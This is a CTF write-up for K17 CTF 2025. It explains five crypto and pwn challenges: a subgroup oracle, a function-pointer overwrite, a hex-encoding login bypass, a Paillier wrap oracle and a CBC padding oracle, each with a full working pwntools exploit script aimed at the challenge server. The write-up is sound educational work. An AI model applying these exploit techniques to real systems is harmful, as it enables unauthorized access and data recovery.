K17 CTF 2025—Writeup
Welcome back to my writeup! It’s been quite a while since I last shared one, but I’m excited to finally dive back in. In this post, I’ll walk you through the solutions to the challenges we tackled in K17 CTF 2025. This edition of the CTF was both thrilling and challenging, offering a mix of puzzles that really tested our skills and creativity. Join me as I break down each challenge, explain our thought process, and share the strategies we used to solve them—it’s been an incredibly fun and rewarding experience!

El Camel
For this cryptography challenge, we are provided with a piece of Python code.
chall.py
from secrets import randbelow
from sympy import isprime
def findGenerator():
while True:
h = randbelow(p)
if pow(h, q, p) != 1:
continue
g = pow(h, 2, p)
if g != 1:
return g
def rng(key):
r = randbelow(p)
c = pow(g, r * x, p)
c += key
return c % p
if __name__ == "__main__":
from secret import FLAG, p, q
assert isprime(p) and isprime(q)
g = findGenerator()
x = randbelow(q)
print(f"""The Mystical El-Camel is in town!
Beat their game to win a special prize...
{p}
{q}
""")
m0 = int(input("How tall do you want the coin to be?> "))
m1 = int(input("How long do you want the coin to be?> "))
m = [m0, m1]
score = 0
symbols_to_index = {'H': 0, 'T': 1}
for _ in range(50):
i = randbelow(2)
c = rng(m[i])
print(c)
print("The coin has been tossed...")
guess = input("Heads or Tails! (H or T)> ")
guess = symbols_to_index.get(guess.upper())
if guess == i:
print("That's correct!\n")
score += 1
else:
print("Incorrect!\n")
if score > 37:
print("ElCamel is impressed! Here is your prize...")
print(FLAG)
else:
print("Better luck next time!")What the code does?
The server generates a prime p and another prime q (normally q | p-1), builds a nontrivial subgroup of ℤ_p^* of order q, picks a secret exponent x ∈ [0, q-1], and repeatedly reveals values of the form
c = g^(r * x) + key (mod p)where r is fresh randomness each call and key is one of two integers you provide (m0 or m1). The game prints c and asks you to guess which of the two keys was used. You win the flag if you guess enough times.
This is not standard ElGamal (there’s no multiplication of message into the exponent, no pair of values). It’s effectively masking the integer key by adding a random subgroup element (the term g^(r*x)) instead of using a secure additive or XOR PRG. That additive masking leaks a cheap and easy subgroup membership test.
Crypto primitive / pattern identification
pow(g, r * x, p)— Diffie‑Hellman style exponentiation (group element).c = s + key (mod p)wheres = g^(r*x)— additive masking of the key by a group element.gis chosen to lie in a subgroup of orderq(server enforcesh^q = 1before squaring).ris new for each call.
So the core primitive is: a random element from the q‑order subgroup is added to the message. The security should rely on that element being unpredictable — but the server exposes p and q and uses a group/subgroup structure that allows subgroup membership tests.
Why this is insecure?
Elements of the subgroup of order q are exactly those y ∈ ℤ_p^* with y^q ≡ 1 (mod p). The server gives you p and q, so you can test whether any value d satisfies d^q % p == 1. For a ciphertext c, the true masked value s = c - key (mod p) equals g^(r*x) and therefore must lie in the q‑order subgroup, so s^q ≡ 1 (mod p). Conversely, if you guess the wrong key', then (c - key') is some random element of ℤ_p. The chance that a random element satisfies d^q ≡ 1 by accident is about 1/q (very small for large q).
Hence: for each ciphertext c and candidate m you can compute d = (c - m) mod p and test pow(d, q, p) == 1. The correct m will always pass; the incorrect one will almost always fail. This gives you an oracle that reveals which message was used every round.
solve.py
#!/usr/bin/env python3
from pwn import remote
import sys
# values from the challenge
p = 105608229528789142631775387999866508795427570969327268682242933574329621868658889587933321616030362833282519833361858498474406413117739010260519171752737365794083267084947959753119521857995326318387692391204942232454020824055547810363275147860366550417464576387096707442458291867676812955650597093180103492943
q = 52804114764394571315887693999933254397713785484663634341121466787164810934329444793966660808015181416641259916680929249237203206558869505130259585876368682897041633542473979876559760928997663159193846195602471116227010412027773905181637573930183275208732288193548353721229145933838406477825298546590051746471
HOST = "challenge.secso.cc"
PORT = 7001
def is_in_subgroup(val):
# val is expected already reduced modulo p
# subgroup test: val^q % p == 1
return pow(val, q, p) == 1
def main():
io = remote(HOST, PORT)
try:
# read until first prompt for m0
data = io.recvuntil(b"> ")
# send m0 = 0 and m1 = 1 (small, easily distinguishable)
io.sendline(b"0")
data = io.recvuntil(b"> ")
io.sendline(b"1")
# play 50 rounds
for roundn in range(50):
# server prints the ciphertext line (a number) then "The coin has been tossed..." then prompt
# so read lines until we get an integer line
c = None
while True:
line = io.recvline(timeout=5)
if not line:
break
s = line.strip()
# try parse integer
try:
c = int(s)
break
except:
# skip non-int lines
pass
if c is None:
print("[!] Did not receive ciphertext; aborting")
break
c_mod = c % p
# check c_mod and (c_mod - 1) mod p
if is_in_subgroup(c_mod):
guess = "H"
elif is_in_subgroup((c_mod - 1) % p):
guess = "T"
else:
# Shouldn't normally happen with m0=0,m1=1; fallback to H
guess = "H"
# read until prompt then send guess
io.recvuntil(b"> ")
io.sendline(guess.encode())
# print progress
print(f"[{roundn+1:02d}] c = {c_mod} -> guess {guess}")
# receive final banner / flag
final = io.recvall(timeout=5)
print(final.decode(errors="ignore"))
finally:
io.close()
if __name__ == "__main__":
main()Here's the output

Ezwins
For this pwn challenge, we’re given a binary to analyze.
This is the decompiled main function produced by Ghidra.
undefined8 main(void)
{
int iVar1;
long in_FS_OFFSET;
char local_58 [32];
undefined1 uStack_38;
undefined7 local_37;
undefined1 uStack_30;
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
local_37 = 0x401210;
uStack_30 = 0;
puts("Hello! Let's get to know you a bit better.");
puts("What's your name?");
fgets(local_58,0x20,stdin);
puts("How old are you?");
FUN_00401100(" %lld",&uStack_38);
do {
iVar1 = getchar();
if (iVar1 == 10) break;
} while (iVar1 != -1);
(*(code *)CONCAT17(uStack_30,local_37))();
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Key points:
local_37is a 7‑byte variable that is pre-initialized to some value (the decompiler showslocal_37 = 0x401210).uStack_30is a 1‑byte variable (initially 0).The program constructs an 8‑byte pointer by concatenating
uStack_30as the high byte andlocal_37as the low 7 bytes:pointer = (uStack_30 << 56) | local_37.Then it calls
pointer().
The bug
FUN_00401100(" %lld", &uStack_38) behaves like scanf("%lld", ...): it writes an 8‑byte signed integer starting at the address &uStack_38. Look at the local variables layout:
[ ... higher addresses ... ]
local_58[32] <-- user name buffer (fgets)
uStack_38 <-- start of 8-byte write
local_37 (7 bytes)
uStack_30 (1 byte)
[ ... other stack values ... ]So writing an 8‑byte integer at &uStack_38 will fill these bytes (in order, little‑endian):
byte 0 →
uStack_38bytes 1..7 →
local_37byte 8 →
uStack_30(note: depending on exact layout the final high byte lands inuStack_30— the decompiler’s CONCAT17 shows the program useslocal_37(7 bytes) +uStack_30(1 byte) to build the pointer.)
Therefore the scanf overwrites both local_37 and uStack_30 with the 8 bytes you supply. After the read, the program does CONCAT17(uStack_30, local_37) to reconstruct an 8‑byte pointer from those overwritten bytes, and then calls it. That gives the attacker control of the target of the call — but only to the extent the pointer bytes can be set by that 8‑byte write and by the initial preserved layout.
Why fgets of the name is not the vuln?
fgets(local_58, 0x20, stdin); is safe here (reads at most 31 chars + null). The actual vulnerability is the mismatch between where the program writes the %lld result (&uStack_38, a one‑byte/adjacent-field address) and the fact that %lld writes 8 bytes. That 8‑byte write overlaps the function-pointer fields.
This is a classic stack variable layout misuse / improper bounds/type handling (not a straight buffer overflow of local_58). The problem is trusting scanf to write a 64‑bit value into a location that was not declared to hold a 64‑bit variable.
exploit.py
#!/usr/bin/env python3
from pwn import *
import sys
BINARY = './chal'
elf = ELF(BINARY)
win_addr = elf.symbols['win']
log.info(f"win @ {hex(win_addr)}")
# We want N such that (N >> 8) == win_addr
N = win_addr << 8
log.info(f"Using N = win << 8 = {hex(N)} ({N})")
def start(argv=None):
if len(sys.argv) == 3:
host = sys.argv[1]
port = int(sys.argv[2])
return remote(host, port)
else:
return process([BINARY])
p = start()
p.recvuntil(b"What's your name?")
# send any name (fgets up to 0x20).
p.sendline(b"exploit\n")
p.recvuntil(b"How old are you?")
p.sendline(str(N).encode())
# after this the function pointer will be called -> win() -> shell
p.interactive()Here's the output

Pass Me The Salt
For this cryptography challenge, we are provided with a piece of Python code once again.
chall.py
from hashlib import sha1
import os
logins = {}
salts = {}
def create_account(login, pwd):
if login in logins.keys():
return False
salt = os.urandom(16)
salted_pwd = salt + (pwd).encode()
passw = sha1(salted_pwd).hexdigest()
logins[login] = passw
salts[login] = salt
return True
def check_login(login, pwd):
if login not in logins:
return False
salt = salts[login]
salted_pwd = salt + bytes.fromhex(pwd)
passw = sha1(salted_pwd).hexdigest()
return passw == logins[login]
def change_password(login, new_pass):
if login not in logins:
return
print(f"Current password: {logins[login]}")
logins[login] = new_pass
if __name__ == "__main__":
create_account("admin", "admin".encode().hex())
while True:
option = input("1. Create Account\n2. Login\n3. Change Password\n(1, 2, 3)> ")
if option == "1":
login = input("Login: ")
pwd = input("Password: ")
if create_account(login, pwd.encode().hex()):
print("Account created!")
else:
print("Could not create account.")
elif option == "2":
login = input("Login: ")
pwd = input("Password: ")
if not check_login(login, pwd):
print("Invalid login or password.")
continue
if login == "admin":
if pwd != "admin".encode().hex():
print(f"Congratulations! Here is your flag: {os.getenv("FLAG")}")
else:
print("Your flag is in another castle...")
else:
print(f"Login successful as {login}!")
elif option == "3":
login = input("Login: ")
new_pass = input("New password: ")
change_password(login, new_pass)
print("Password changed!")
else:
print("Invalid option.")This is a classic double‑encoding / encoding mismatch bug.
What the code does?
Account creation
create_accountexpectspwdto be a string (it calls(pwd).encode()).It generates a 16‑byte
salt.It computes:
salted_pwd = salt + (pwd).encode()
passw = sha1(salted_pwd).hexdigest()and stores
logins[login] = passwandsalts[login] = salt.
So whatever string you pass in as pwd, the server will append the ASCII bytes of that string to the salt and hash that.
In main() the program creates the admin account like this:
create_account("admin", "admin".encode().hex())"admin".encode().hex()is the hex string representation of the bytes of"admin"."admin".encode().hex()→"61646d696e"(this is the literal ASCII string of hex digits'6','1','6','4','6','d','6','9','6','e').So the stored hash for admin is
sha1(salt + b"61646d696e").
Login checking
check_login expects pwd to be a hex string representing raw bytes. It does:
salt = salts[login]
salted_pwd = salt + bytes.fromhex(pwd)
passw = sha1(salted_pwd).hexdigest()
return passw == logins[login]bytes.fromhex(pwd) converts the hex string you supply into the raw byte sequence it represents.
So to pass the login check for admin you need:
sha1(salt + bytes.fromhex(user_input)) == sha1(salt + b"61646d696e")Therefore you need bytes.fromhex(user_input) == b"61646d696e".
What user_input satisfies that? user_input must be the hex representation of the byte string b"61646d696e". Concretely:
b"61646d696e" (the ASCII bytes for '6','1','6','4','6','d','6','9','6','e') in hex is:
36 31 36 34 36 64 36 39 36 65joined -> the string: 36313634366436393665
So the string you must supply as the password at login is:
36313634366436393665Because bytes.fromhex("363136...") == b"61646d696e", and that matches what was hashed at creation.
Here's the procedure and the output

Tricks
For this cryptography challenge, we’re provided with another Python script.
chall.py
from Crypto.Util.number import getStrongPrime, long_to_bytes, bytes_to_long
from random import randint
from secrets import FLAG
assert len(FLAG) == 32
class Paillier:
# en.wikipedia.org/wiki/Paillier_cryptosystem
def __init__(self, p, q):
self.n = p * q
self.n2 = pow(self.n, 2)
self.l = (p - 1) * (q - 1)
self.mu = pow(self.l, -1, self.n)
self.g = self.n + 1
self.L = lambda x : (x - 1) // self.n
def encrypt(self, m):
return (pow(randint(1, self.n - 1), self.n, self.n2) * pow(self.g, m, self.n2)) % self.n2
def decrypt(self, c):
return (self.L(pow(c, self.l, self.n2)) * self.mu) % self.n
paillier = Paillier(getStrongPrime(1024), getStrongPrime(1024))
print(f"{paillier.n = }")
print(paillier.encrypt(bytes_to_long(FLAG)))
print("a key property of paillier encryption/decryption is that its homomorphic between the additive/multiplicative on the plaintext/ciphertext space")
print("the ability to anonymously add, or combine, encrypted streams is incredibly useful, one such application being")
print("TRICKS!!!")
print("YOU")
print("CAN")
print("DO")
print("TRICKS!!!!")
print("LET'S SEEE IF YOU CAN DO TRIIIIIICKS!!!!!!!!!!!!!!!!!!!!!!!!")
tricks = {
"cha cha left": lambda x : x + b"\x00", # e.g. pow(x, 256, self.n2)
"wave your hands": lambda x : b"\\_/-\\_/" + x + b"\\_/-\\_/",
"SAY IT THREE TIMES": lambda x : x + x + x
}
print(f"you can {', '.join(tricks.keys())}... yeah that's pretty much it actually")
while True:
trick = input("Which trick do you want to show me? ")
if trick not in tricks:
print("I've never heard of that trick before")
continue
x = int(input("What's the encrypted message you'd like to perform the trick on? "))
y = int(input("What's the encrypted result of the trick? "))
if bytes_to_long(tricks[trick](long_to_bytes(paillier.decrypt(x)))) == paillier.decrypt(y):
print("HOLY SMOKES WHAT A TRICK!!!!!")
else:
print("nup.")The server builds a Paillier cryptosystem with two 1024-bit primes and publishes the modulus n and an encryption of the 32-byte FLAG, c_flag = E(m_flag). The Paillier implementation uses g = n + 1 and standard encrypt(m) = r^n * g^m mod n^2 and decrypt(c) = L(c^λ mod n^2) * μ mod n. The interactive part of the service asks you to pick one of three small “tricks” that transform plaintext bytes; the exploited trick, “cha cha left”, simply appends a \x00 byte to the plaintext bytes. When handled as integers that operation is exactly multiplication by 256 (a left shift by 8 bits). The server asks the user to supply two ciphertext integers x and y, decrypts them server-side, applies the chosen trick to the decrypted x at the plaintext/bytes level, converts it back to an integer, and compares that integer with the direct decryption of y. If they match, the server prints success; otherwise it prints failure.
The important cryptographic facts are Paillier’s homomorphic laws: multiplying a ciphertext by g^k results in adding k to the plaintext (E(m) * g^k = E(m + k)), and raising a ciphertext to an exponent e multiplies the plaintext by e modulo n (E(m)^e = E(e * m mod n)). Using those identities the attacker can craft ciphertexts whose plaintexts are linear combinations or scaled versions of the secret flag integer without knowing the secret key. In particular, if x = E(m_x) then x^256 is a ciphertext of 256 * m_x mod n. The server, however, compares bytes_to_long(long_to_bytes(decrypt(x)) + b"\x00") (which is the unmodded integer 256 * decrypt(x)) with decrypt(y) (which is 256 * decrypt(x) mod n). Therefore the equality holds if and only if 256 * decrypt(x) < n (i.e. no modular wrap). This gives a boolean oracle that tells you whether 256 * chosen_plaintext overflows modulo n.
In short, the service leaks a single yes/no bit per query about whether a scaled version of the secret exceeds n/256. Paillier’s homomorphic properties let the attacker produce those scaled versions without the secret key; the append-zero trick converts a modular equality test into a leakage of whether wrapping occurred. Repeating this test across powers of two and accumulating the corresponding weighted increments recovers the flag deterministically.
solve.py
from pwn import *
from Crypto.Util.number import long_to_bytes
import time
# connect
conn = remote("challenge.secso.cc", 7005)
modulus = int(conn.recvline().decode().split()[2].strip())
enc_flag = int(conn.recvline().decode().strip())
# Precompute square modulus
modulus_sq = modulus * modulus
def pow_via_repeated_squaring(base, repeats, mod):
"""Return base^(2**repeats) mod mod by performing 'repeats' squarings."""
v = base % mod
for _ in range(repeats):
v = pow(v, 2, mod)
return v
byte_offset = 0
start_index = 2048 - 256 - 8
# Cache for offset-based base value
cached_offset_marker = None
cached_base_val = None
# Cache for squaring reuse
prev_index = None
prev_power = None
TOTAL_ROUNDS = 32 * 8
for rnd in range(TOTAL_ROUNDS):
round_start = time.time()
# If offset changed since last loop, recompute the cached base value
if cached_offset_marker != byte_offset:
pow_mod = pow(modulus + 1, modulus - byte_offset, modulus_sq)
cached_base_val = (enc_flag * pow_mod) % modulus_sq
cached_offset_marker = byte_offset
prev_index = None
prev_power = None
cache_info = "recomputed"
else:
cache_info = "reused"
# Determine efficient exponentiation using previous power if possible
if prev_index is None:
val = pow_via_repeated_squaring(cached_base_val, start_index, modulus_sq)
exp_method = "full_squaring"
else:
if start_index >= prev_index:
# fast-forward from previous power
val = prev_power
for _ in range(start_index - prev_index):
val = pow(val, 2, modulus_sq)
exp_method = f"fast_forward ({start_index - prev_index} squarings)"
else:
# fallback: recompute from base
val = pow_via_repeated_squaring(cached_base_val, start_index, modulus_sq)
exp_method = "fallback_full_squaring"
prev_index = start_index
prev_power = val
# Interact with remote
conn.recvuntil(b"show me? ")
conn.sendline(b"cha cha left")
conn.recvuntil(b"trick on? ")
send_val = str(val).encode()
conn.sendline(send_val)
conn.recvuntil(b"the trick? ")
send_pow256 = str(pow(val, 256, modulus_sq)).encode()
conn.sendline(send_pow256)
result = conn.recvline().strip()
round_time = time.time() - round_start
# Build structured output dict
out = {
"round": rnd + 1,
"start_index": start_index,
"cache": cache_info,
"exp_method": exp_method,
"sent_len": len(send_val),
"sent_pow256_len": len(send_pow256),
"result_preview": result[:200].hex() if result else "",
"result_text_preview": result[:200].decode(errors='replace'),
"round_time_s": round_time
}
print(f"[ROUND {out['round']:02d}] index={start_index} | cache={out['cache']} | method={out['exp_method']} | time={round_time:.3f}s")
print(f" - sent (len): val={out['sent_len']} bytes, pow256={out['sent_pow256_len']} bytes")
print(f" - response (text preview): {out['result_text_preview']}")
print(f" - response (hex preview): {out['result_preview']}")
# Check condition for bit detection
if b"nup." in result:
bit = 2048 - start_index - 8
# update byte_offset by shifting modulus and adding
# note: original logic used (modulus >> 8) >> start_index
byte_offset_increment = (modulus >> 8) >> start_index
byte_offset += byte_offset_increment
try:
offset_bytes = long_to_bytes(byte_offset)
offset_ascii = offset_bytes.decode('utf-8', errors='replace')
except Exception:
offset_bytes = long_to_bytes(byte_offset)
offset_ascii = ''.join(chr(b) if 32 <= b < 127 else '.' for b in offset_bytes)
print(f"[BIT DETECTED] bit_index={bit} | increment={byte_offset_increment} | new_offset_len={len(offset_bytes)}")
print(f"[OFFSET] bytes(hex): {offset_bytes.hex()} | ascii-preview: {offset_ascii}\n")
# reset cached base so it will recompute for new offset
cached_offset_marker = None
# move to next round
start_index += 1
continue
# If no bit detected, advance start_index and continue
start_index += 1
print("\n=== Completed rounds ===")
print("Final byte_offset (hex):", long_to_bytes(byte_offset).hex())
print("Final byte_offset (repr):", repr(long_to_bytes(byte_offset)))
conn.interactive()Here's the output

Layers
For the final challenge in my writeup, we were provided with a Python script to analyze and exploit.
chall.py
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
from Crypto.Cipher import AES
from random import randint, randbytes
from secrets import FLAG
class LayeredEncryption:
def __init__(self, p, q, aes_key):
assert len(aes_key) == 16
self.n = p * q
self.aes_key = aes_key
self.e = 65537
self.d = pow(self.e, -1, (p - 1) * (q - 1))
def encrypt(self, m):
iv = randbytes(16)
aes_c = bytes_to_long(iv + AES.new(self.aes_key, AES.MODE_CBC, iv).encrypt(pad(m, 16)))
print(aes_c)
r = randint(1, 2**512 - 1)
ri = pow(r, -1, self.n)
return (r, pow(ri * aes_c, self.e, self.n), pow(ri * aes_c, self.d, self.n)) # salt, encrypted ciphertext, signature of ciphertext
def decrypt(self, r, c, s):
if r < 1 or r >= 2**512:
print("Salt must a positive integer less than 2^512")
elif c != pow(s, self.e * self.e, self.n):
print("Signature is invalid!")
else:
aes_c_bytes = long_to_bytes((pow(c, self.d, self.n) * r) % self.n)
iv, ciphertext = aes_c_bytes[:16], aes_c_bytes[16:]
return unpad(AES.new(self.aes_key, AES.MODE_CBC, iv).decrypt(ciphertext), 16)
e = LayeredEncryption(getPrime(1024), getPrime(1024), randbytes(16))
r, c, s = e.encrypt(FLAG)
print(f"{e.n = }")
print(f"{e.e = }")
print("Welcome to my lair of layers!")
print(f"Foolish traveller! You think you can best all of my schemes!??! Here, a challenge: {(r, c, s)}")
while True:
guess = input("Prithee, tell in a comma-separated triplet, what secret do i hold? ")
try:
if e.decrypt(*map(int, guess.split(","))) == FLAG:
print("yes, AND IT SHALL NEVER SEE THE LIGHT OF DAY!")
else:
print("NAY!")
except:
print(f"what is bro doing 💀")The challenge implements a custom LayeredEncryption scheme that mixes AES-CBC and RSA. On setup it generates two RSA primes p, q (so n = p*q), sets the public exponent e = 65537 and computes the private exponent d, and uses a random 16-byte AES key. When encrypting, the code creates a random 16-byte IV and AES-CBC-encrypts the message (the IV is prepended to the AES ciphertext), then converts that IV||ciphertext into a big integer aes_c. It picks a random salt r, computes its modular inverse ri = r⁻¹ mod n, and returns the triplet (r, c, s) where c = (ri * aes_c)^e mod n (an RSA-style encryption of the salted AES blob) and s = (ri * aes_c)^d mod n (the corresponding RSA signature). The decryption routine first checks the signature validity by testing c == s^(e*e) mod n; if valid it recovers the AES blob with (c^d * r) mod n, converts that back to bytes, extracts the IV and AES ciphertext, and AES-decrypts and unpads to return the plaintext. The program prints the AES ciphertext (as an integer), the RSA modulus and exponent, and the produced (r, c, s) for the FLAG, then accepts user-supplied triplets and replies differently depending on whether decryption or signature checks fail. Those differing error messages leak information about padding/validation results, which creates a padding-oracle vulnerability an attacker can exploit to recover the AES plaintext without needing the RSA private key.
To give you an idea: AES in CBC mode works block by block. If the padding at the end of the plaintext is invalid, decryption fails. Since the challenge prints different error messages, an attacker can exploit this to brute force each byte of the plaintext → classic padding oracle attack.
solve.py
from pwn import *
from Cryptodome.Util.number import long_to_bytes, bytes_to_long, getPrime
# Cleaner, verbose (but non-debug) padding-oracle solver
conn = remote("challenge.secso.cc", 7004)
aes_cipher_int = int(conn.recvline().decode().strip())
mod_n = int(conn.recvline().decode().strip().split()[-1])
pub_e = int(conn.recvline().decode().strip().split()[-1])
# read challenge tuple (r, c, s)
conn.recvuntil(b"challenge: (")
challenge_r = int(conn.recvuntil(b", ").decode().split(",")[0])
challenge_c = int(conn.recvuntil(b", ").decode().split(",")[0])
challenge_s = int(conn.recvuntil(b")").decode().split(")")[0])
def padding_oracle_recover(block_msg: bytes) -> list:
"""Perform a CBC-style padding-oracle brute force to recover the
intermediate bytes for a single 16-byte block.
This function is verbose (high-level progress only) but does NOT
print per-trial debug output.
Returns a list of 16 recovered intermediate bytes.
"""
iv_candidate = [0] * 16
iv_candidate[0] = 0xFF # keep leading byte non-zero so long->bytes doesn't trim
recovered = [0] * 16
print(" -> Starting recovery for block (16 bytes)")
for pad_len in range(1, 17):
possible_hits = []
# prepare previously recovered bytes to match current padding value
for k in range(1, pad_len):
iv_candidate[16 - k] = recovered[16 - k] ^ pad_len
# try all possible byte values for the current position
for trial in range(256):
iv_candidate[16 - pad_len] = trial
payload = bytes(iv_candidate) + block_msg
# send payload and read response from oracle
conn.recvuntil(b"i hold? ")
conn.sendline(f"{bytes_to_long(payload)},{1},{1}".encode())
response = conn.recvline()
if b"what is bro doing" not in response:
possible_hits.append(trial)
if len(possible_hits) == 1:
recovered_byte = pad_len ^ possible_hits[0]
recovered[16 - pad_len] = recovered_byte
print(f" [pad {pad_len:2d}] recovered byte at pos {16-pad_len:2d}: 0x{recovered_byte:02x}")
else:
# be explicit and helpful when the oracle yields ambiguous results
print(f" [-] ambiguous padding candidates for pad={pad_len}: {possible_hits}")
raise RuntimeError("padding oracle produced ambiguous results")
# show short snapshot of current recovered intermediate (hex)
snapshot = bytes([b for b in recovered if b != 0 or True])
print(f" current intermediate snapshot (hex): {bytes(recovered).hex()}\n")
print(" -> Block recovery complete\n")
return recovered
# convert ciphertext integer into raw bytes and split into blocks
cipher_bytes = long_to_bytes(aes_cipher_int)
# ensure we have at least 3 blocks (IV + 3 ciphertext blocks) like original script
if len(cipher_bytes) < 48:
raise SystemExit("[-] Unexpected ciphertext length: need at least 48 bytes for three 16-byte blocks")
# For each 16-byte block we run the same oracle recovery and XOR with previous block
print("[*] Beginning block-by-block recovery\n")
block1_iv = cipher_bytes[16:32]
res_block1 = padding_oracle_recover(block1_iv)
plain_block1 = bytes([a ^ b for a, b in zip(cipher_bytes[0:16], res_block1)])
print(f"[+] plaintext (ascii): {repr(plain_block1)} | hex: {plain_block1.hex()}\n")
block2_iv = cipher_bytes[32:48]
res_block2 = padding_oracle_recover(block2_iv)
plain_block2 = bytes([a ^ b for a, b in zip(cipher_bytes[16:32], res_block2)])
print(f"[+] plaintext (ascii): {repr(plain_block2)} | hex: {plain_block2.hex()}")
print(f"[*] concatenated so far (hex): {(plain_block1 + plain_block2).hex()}\n")
block3_iv = cipher_bytes[48:64]
res_block3 = padding_oracle_recover(block3_iv)
plain_block3 = bytes([a ^ b for a, b in zip(cipher_bytes[32:48], res_block3)])
final_plain = plain_block1 + plain_block2 + plain_block3
print(f"[+] plaintext (ascii): {repr(plain_block3)} | hex: {plain_block3.hex()}\n")
pythonprint("=== FINAL RESULT ===")
print(f"[+] Plaintext (raw bytes repr): {repr(final_plain)}")
print(f"[+] Plaintext (hex) : {final_plain.hex()}\n")
conn.interactive()This kind of attack is slow because it brute-forces each byte of the ciphertext block-by-block, requiring up to 256 guesses per byte and many queries to the oracle.
Here's the output

And that's a wrap!!

A1SBERG proudly secured 66th place out of 1,356 teams.
Hope you wish us luck for H4G 2025:>>>
Last updated